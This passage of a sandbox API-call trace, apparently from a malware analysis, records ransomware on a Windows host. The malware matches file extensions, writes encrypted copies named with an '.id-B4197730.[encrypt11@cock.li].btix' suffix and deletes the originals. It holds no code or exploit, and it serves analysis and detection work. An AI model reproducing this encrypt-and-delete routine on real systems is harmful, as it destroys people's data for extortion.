returned 1 [0044.884] lstrlenW (lpString=".bz2") returned 4 [0044.884] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0044.884] lstrlenW (lpString=".7z") returned 3 [0044.884] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0044.884] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.884] lstrlenW (lpString=".dbf") returned 4 [0044.884] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0044.884] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.884] lstrlenW (lpString=".1cd") returned 4 [0044.884] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0044.884] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0044.884] lstrlenW (lpString=".jpg") returned 4 [0044.884] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0044.884] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0044.884] lstrlenW (lpString="ServiceWatcherSchedule.xml") returned 26 [0044.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0044.885] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=4450) returned 1 [0044.885] CloseHandle (hObject=0x36c) returned 1 [0044.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20 [0044.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0044.885] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.885] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.885] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0045.177] GetLastError () returned 0x0 [0045.177] ReadFile (in: hFile=0x36c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x1162, lpOverlapped=0x0) returned 1 [0045.350] WriteFile (in: hFile=0x37c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1170, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x1170, lpOverlapped=0x0) returned 1 [0045.351] ReadFile (in: hFile=0x36c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0045.351] WriteFile (in: hFile=0x37c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x108, lpOverlapped=0x0) returned 1 [0045.351] SetEndOfFile (hFile=0x37c) returned 1 [0045.351] CloseHandle (hObject=0x37c) returned 1 [0045.352] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.352] SetEndOfFile (hFile=0x36c) returned 1 [0045.353] CloseHandle (hObject=0x36c) returned 1 [0045.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0045.353] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 1 [0045.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0045.353] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0045.353] lstrlenW (lpString=".doc") returned 4 [0045.353] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.353] lstrlenW (lpString=".docx") returned 5 [0045.353] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0045.354] lstrlenW (lpString=".pdf") returned 4 [0045.354] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.354] lstrlenW (lpString=".xls") returned 4 [0045.354] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.354] lstrlenW (lpString=".xlsx") returned 5 [0045.354] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0045.354] lstrlenW (lpString=".ppt") returned 4 [0045.354] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0045.354] lstrlenW (lpString=".zip") returned 4 [0045.354] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.354] lstrlenW (lpString=".rar") returned 4 [0045.354] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.354] lstrlenW (lpString=".bz2") returned 4 [0045.354] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.354] lstrlenW (lpString=".7z") returned 3 [0045.354] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0045.354] lstrlenW (lpString=".dbf") returned 4 [0045.354] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0045.354] lstrlenW (lpString=".1cd") returned 4 [0045.354] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0045.354] lstrlenW (lpString=".jpg") returned 4 [0045.354] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0045.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0045.354] lstrlenW (lpString=".doc") returned 4 [0045.354] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.354] lstrlenW (lpString=".docx") returned 5 [0045.354] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0045.354] lstrlenW (lpString=".pdf") returned 4 [0045.354] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.354] lstrlenW (lpString=".xls") returned 4 [0045.355] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.355] lstrlenW (lpString=".xlsx") returned 5 [0045.355] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0045.355] lstrlenW (lpString=".ppt") returned 4 [0045.355] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0045.355] lstrlenW (lpString=".zip") returned 4 [0045.355] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.355] lstrlenW (lpString=".rar") returned 4 [0045.355] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.355] lstrlenW (lpString=".bz2") returned 4 [0045.355] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.355] lstrlenW (lpString=".7z") returned 3 [0045.355] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0045.355] lstrlenW (lpString=".dbf") returned 4 [0045.355] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0045.355] lstrlenW (lpString=".1cd") returned 4 [0045.355] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0045.355] lstrlenW (lpString=".jpg") returned 4 [0045.355] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.355] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0045.355] lstrlenW (lpString="boxed-join.avi") returned 14 [0045.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0045.669] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=46622) returned 1 [0045.669] CloseHandle (hObject=0x31c) returned 1 [0045.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0045.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0045.669] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.670] lstrlenW (lpString=".doc") returned 4 [0045.670] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.670] lstrlenW (lpString=".docx") returned 5 [0045.670] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0045.670] lstrlenW (lpString=".pdf") returned 4 [0045.670] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.670] lstrlenW (lpString=".xls") returned 4 [0045.670] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.670] lstrlenW (lpString=".xlsx") returned 5 [0045.670] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0045.670] lstrlenW (lpString=".ppt") returned 4 [0045.670] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.670] lstrlenW (lpString=".zip") returned 4 [0045.670] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.670] lstrlenW (lpString=".rar") returned 4 [0045.670] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.670] lstrlenW (lpString=".bz2") returned 4 [0045.670] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.670] lstrlenW (lpString=".7z") returned 3 [0045.670] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.670] lstrlenW (lpString=".dbf") returned 4 [0045.670] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.670] lstrlenW (lpString=".1cd") returned 4 [0045.670] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.670] lstrlenW (lpString=".jpg") returned 4 [0045.670] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.670] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.670] lstrlenW (lpString=".doc") returned 4 [0045.671] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.671] lstrlenW (lpString=".docx") returned 5 [0045.671] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0045.671] lstrlenW (lpString=".pdf") returned 4 [0045.671] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.671] lstrlenW (lpString=".xls") returned 4 [0045.671] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.671] lstrlenW (lpString=".xlsx") returned 5 [0045.671] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0045.671] lstrlenW (lpString=".ppt") returned 4 [0045.671] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.671] lstrlenW (lpString=".zip") returned 4 [0045.671] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.671] lstrlenW (lpString=".rar") returned 4 [0045.671] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.671] lstrlenW (lpString=".bz2") returned 4 [0045.671] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.671] lstrlenW (lpString=".7z") returned 3 [0045.671] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.671] lstrlenW (lpString=".dbf") returned 4 [0045.671] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.671] lstrlenW (lpString=".1cd") returned 4 [0045.671] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.671] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0045.671] lstrlenW (lpString=".jpg") returned 4 [0045.671] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.671] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0045.671] lstrlenW (lpString="auxbase.xml") returned 11 [0045.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0046.177] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=1434) returned 1 [0046.177] CloseHandle (hObject=0x2e0) returned 1 [0046.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0046.177] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.177] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0046.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0046.177] lstrlenW (lpString=".doc") returned 4 [0046.177] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.177] lstrlenW (lpString=".docx") returned 5 [0046.177] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0046.177] lstrlenW (lpString=".pdf") returned 4 [0046.177] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.177] lstrlenW (lpString=".xls") returned 4 [0046.177] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.177] lstrlenW (lpString=".xlsx") returned 5 [0046.177] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0046.177] lstrlenW (lpString=".ppt") returned 4 [0046.177] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0046.177] lstrlenW (lpString=".zip") returned 4 [0046.177] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.177] lstrlenW (lpString=".rar") returned 4 [0046.177] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.177] lstrlenW (lpString=".bz2") returned 4 [0046.177] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.177] lstrlenW (lpString=".7z") returned 3 [0046.177] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0046.178] lstrlenW (lpString=".dbf") returned 4 [0046.178] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0046.178] lstrlenW (lpString=".1cd") returned 4 [0046.178] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0046.178] lstrlenW (lpString=".jpg") returned 4 [0046.178] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0046.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0046.178] lstrlenW (lpString=".doc") returned 4 [0046.178] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.178] lstrlenW (lpString=".docx") returned 5 [0046.178] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0046.178] lstrlenW (lpString=".pdf") returned 4 [0046.178] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.178] lstrlenW (lpString=".xls") returned 4 [0046.178] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.178] lstrlenW (lpString=".xlsx") returned 5 [0046.178] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0046.178] lstrlenW (lpString=".ppt") returned 4 [0046.178] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0046.178] lstrlenW (lpString=".zip") returned 4 [0046.178] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.178] lstrlenW (lpString=".rar") returned 4 [0046.178] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.178] lstrlenW (lpString=".bz2") returned 4 [0046.178] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.178] lstrlenW (lpString=".7z") returned 3 [0046.178] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0046.178] lstrlenW (lpString=".dbf") returned 4 [0046.178] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0046.179] lstrlenW (lpString=".1cd") returned 4 [0046.179] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0046.179] lstrlenW (lpString=".jpg") returned 4 [0046.179] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.179] lstrcmpiW (lpString1=".xml", lpString2=".btix") returned 1 [0046.179] lstrlenW (lpString="keypadbase.xml") returned 14 [0046.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0046.182] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=903) returned 1 [0046.182] CloseHandle (hObject=0x37c) returned 1 [0046.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0046.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0046.189] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0046.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0046.189] lstrlenW (lpString=".doc") returned 4 [0046.189] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.189] lstrlenW (lpString=".docx") returned 5 [0046.189] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0046.189] lstrlenW (lpString=".pdf") returned 4 [0046.189] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.190] lstrlenW (lpString=".xls") returned 4 [0046.190] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.190] lstrlenW (lpString=".xlsx") returned 5 [0046.190] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0046.190] lstrlenW (lpString=".ppt") returned 4 [0046.190] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0046.190] lstrlenW (lpString=".zip") returned 4 [0046.190] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.190] lstrlenW (lpString=".rar") returned 4 [0046.190] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.190] lstrlenW (lpString=".bz2") returned 4 [0046.190] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.190] lstrlenW (lpString=".7z") returned 3 [0046.190] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0046.190] lstrlenW (lpString=".dbf") returned 4 [0046.190] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0046.190] lstrlenW (lpString=".1cd") returned 4 [0046.190] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0046.190] lstrlenW (lpString=".jpg") returned 4 [0046.190] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0046.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0046.190] lstrlenW (lpString=".doc") returned 4 [0046.190] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.190] lstrlenW (lpString=".docx") returned 5 [0046.190] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0046.190] lstrlenW (lpString=".pdf") returned 4 [0046.190] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.190] lstrlenW (lpString=".xls") returned 4 [0046.190] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.190] lstrlenW (lpString=".xlsx") returned 5 [0046.190] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0046.191] lstrlenW (lpString=".ppt") returned 4 [0046.191] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.191] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0046.191] lstrlenW (lpString=".zip") returned 4 [0046.191] lstrcmpiW 